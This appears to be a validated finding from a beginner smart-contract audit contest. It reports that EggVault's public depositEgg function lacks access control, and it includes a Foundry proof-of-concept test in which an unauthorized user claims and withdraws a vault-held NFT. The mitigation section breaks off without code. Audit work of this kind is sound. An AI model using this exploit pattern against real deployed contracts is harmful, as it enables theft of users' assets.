Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Function `depositEgg` without access control in EggVault contract makes it possible to steal NFTs

Summary

The EggVault contract contains a critical access control vulnerability that allows hacker to steal nft owned by EggVault. This vulnerability stems from improper access control in the depositEgg function, which doesn't verify the caller's authorization to deposit the NFT.

Vulnerability Details

The vulnerability exists in the EggVault contract's depositEgg function. The function accepts two parameters:

  1. tokenId: The ID of the NFT to be deposited

  2. depositor: The address of the depositor

The critical issue is that the depositEgg function is marked as public and doesn't verify if the caller is authorized to deposit the NFT. This allows any user to:

  1. Call depositEgg with token ID(owned by EggVault and hasn't deposited in EggVault) and depositor address

  2. Mark themselves as the depositor of an NFT they don't own

  3. Subsequently withdraw the NFT using the withdrawEgg function

Impact

  • High Severity: This vulnerability allows any user to steal NFTs from the vault

  • Financial Impact: Direct loss of NFT assets

  • Reputation Damage: Loss of trust in the platform's security

Proof of Concept

The vulnerability can be demonstrated with the following test case:

contract EggGameTest is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner;
address alice;
address bob;
error OwnableUnauthorizedAccount(address account);
function setUp() public {
owner = address(this); // The test contract is the deployer/owner.
alice = address(0x1);
bob = address(0x2);
// Deploy the contracts.
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
// Set the allowed game contract for minting eggs in the NFT.
nft.setGameContract(address(game));
// Configure the vault with the NFT contract.
vault.setEggNFT(address(nft));
}
function testDepositEggACL() public {
// 1. Mint NFT to vault
uint256 tokenId = 1;
vm.prank(address(game));
nft.mintEgg(address(vault), tokenId);
// 2. Alice (unauthorized user) deposits the NFT
vm.startPrank(alice);
vault.depositEgg(tokenId, alice);
// 3. Alice can withdraw the NFT
vault.withdrawEgg(tokenId);
// 4. Verify Alice now owns the NFT
assertEq(nft.ownerOf(tokenId), alice);
}
}

Tools Used

  • Foundry

Mitigation

To fix this vulnerability, implement the following changes:

  1. Add access control to the depositEgg function, like only EggGame can call this function:

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.